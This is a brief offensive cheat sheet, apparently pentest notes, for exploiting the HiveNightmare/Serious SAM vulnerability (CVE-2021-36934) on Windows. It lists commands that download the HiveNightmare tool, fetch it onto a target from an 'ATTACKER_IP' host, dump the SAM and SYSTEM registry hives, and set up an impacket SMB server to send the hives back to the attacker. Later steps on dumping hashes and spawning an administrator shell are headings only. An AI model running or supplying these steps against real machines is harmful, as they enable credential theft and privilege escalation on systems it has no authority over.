HiveNightmare AKA Serious SAM CVE-2021-36934
Steps
1) Check the specific Windows Version
[System.Environment]::OSVersion.Version2) Download HiveNightmare on our machine, then transfer it to the target machine.
wget https://github.com/GossiTheDog/HiveNightmare/releases/download/0.6/HiveNightmare.exe
wget "http://ATTACKER_IP/HiveNightmare.exe" -outfile "c:\pwn\HiveNightmare.exe"3) Run HiveNightmare.exe to dump the registry hives.
./HiveNightmare.exe4) Transfer the hives to our machine
impacket-smbserver test /home/kali/Sams_test -username test -password test -smb2support5) Dump hashes
6) Spawn cmd as administrator
Last updated